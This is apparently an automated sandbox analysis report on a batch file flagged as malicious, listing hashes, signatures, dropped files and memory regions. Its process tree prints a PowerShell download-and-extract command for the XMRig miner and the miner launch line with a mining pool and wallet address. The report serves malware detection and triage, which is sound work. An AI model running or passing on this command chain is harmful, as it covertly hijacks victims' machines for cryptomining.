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Analysis

  • max time kernel
    1792s
  • max time network
    1802s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    22/12/2023, 08:52

General

  • Target

    tesy - Copy (13).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:660
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (13).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:216
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:424
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1924

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    11319fc612f0b77de70e50213ca7fa0a

    SHA1

    77d96b159ee34574fbeebbd5ef2dc7817100097f

    SHA256

    503b86618552fb83d062f6a591f251fe70b9db67b5351a548c9c3834d4db5558

    SHA512

    1eb09295ad70c38efcc4cdca21964f29fd2161bc47dbc658107655b5289df67384f6249c443277fa84e73480c7982b1e60e6f0787b63865850051c611e617fc1

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h4rboew4.sq1.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    140KB

    MD5

    308bae169123f0a52350a53dc28eab45

    SHA1

    5ba7a406e0666d6c218d9fbe2c541b81c3dc0407

    SHA256

    4b66d8e37bfbecf39e8a6cf1d9c97a3563d3d57e5aa5910c870b3d89eb2e4a7b

    SHA512

    d79778e9ba5c67587bc374b047f4a65191c6dd8411ea752abc32c6dfcf63a97c88483563f335c6ccb83e5907a7014b3aa4b60ce9ae14f77a083631312b636c45

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    57KB

    MD5

    bcaa6f8e0596714690c65f3b496ff7c7

    SHA1

    d6e6980c13161436a71ed6e27b335a04cf02bae0

    SHA256

    1e508dd50441344fd3d7296d12a03e2386115621293c9436efac2c2555cbc778

    SHA512

    2b4bb3393fede2274e6d3d1ae1212f82e55b900944751cfef138348a1c19d11826c653a6391b0dac3648aa4a1b4be19a6b3433cd0c2d1ec860911280408f34b9

  • memory/424-62-0x00000237D6CC0000-0x00000237D6CD0000-memory.dmp

    Filesize

    64KB

  • memory/424-35-0x00007FFDB6750000-0x00007FFDB713C000-memory.dmp

    Filesize

    9.9MB

  • memory/424-38-0x00000237D6CC0000-0x00000237D6CD0000-memory.dmp

    Filesize

    64KB

  • memory/424-113-0x00007FFDB6750000-0x00007FFDB713C000-memory.dmp

    Filesize

    9.9MB

  • memory/424-37-0x00000237D6CC0000-0x00000237D6CD0000-memory.dmp

    Filesize

    64KB

  • memory/424-76-0x00000237D6E60000-0x00000237D6E72000-memory.dmp

    Filesize

    72KB

  • memory/424-89-0x00000237D6E40000-0x00000237D6E4A000-memory.dmp

    Filesize

    40KB

  • memory/660-10-0x000001CEF9370000-0x000001CEF93E6000-memory.dmp

    Filesize

    472KB

  • memory/660-30-0x00007FFDB6750000-0x00007FFDB713C000-memory.dmp

    Filesize

    9.9MB

  • memory/660-7-0x00007FFDB6750000-0x00007FFDB713C000-memory.dmp

    Filesize

    9.9MB

  • memory/660-25-0x000001CEE1110000-0x000001CEE1120000-memory.dmp

    Filesize

    64KB

  • memory/660-8-0x000001CEE1110000-0x000001CEE1120000-memory.dmp

    Filesize

    64KB

  • memory/660-9-0x000001CEE1110000-0x000001CEE1120000-memory.dmp

    Filesize

    64KB

  • memory/660-4-0x000001CEE1180000-0x000001CEE11A2000-memory.dmp

    Filesize

    136KB

  • memory/1924-141-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-151-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-118-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-120-0x000002594EFD0000-0x000002594EFF0000-memory.dmp

    Filesize

    128KB

  • memory/1924-119-0x000002594EFB0000-0x000002594EFD0000-memory.dmp

    Filesize

    128KB

  • memory/1924-121-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-122-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-125-0x000002594EFD0000-0x000002594EFF0000-memory.dmp

    Filesize

    128KB

  • memory/1924-124-0x000002594EFB0000-0x000002594EFD0000-memory.dmp

    Filesize

    128KB

  • memory/1924-123-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-126-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-127-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-128-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-129-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-130-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-131-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-132-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-133-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-134-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-135-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-136-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-137-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-138-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-139-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-140-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-116-0x000002594D550000-0x000002594D570000-memory.dmp

    Filesize

    128KB

  • memory/1924-142-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-143-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-144-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-145-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-146-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-147-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-148-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-149-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-150-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-117-0x000002594EF90000-0x000002594EFB0000-memory.dmp

    Filesize

    128KB

  • memory/1924-152-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-153-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-154-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-155-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-156-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-157-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-158-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-159-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-160-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-161-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-162-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-163-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-164-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-165-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-166-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-167-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-168-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-169-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-170-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-171-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-172-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-173-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-174-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-175-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-176-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-177-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-178-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-179-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-180-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-181-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-182-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-183-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1924-184-0x00007FF7CC5F0000-0x00007FF7CD0F3000-memory.dmp

    Filesize

    11.0MB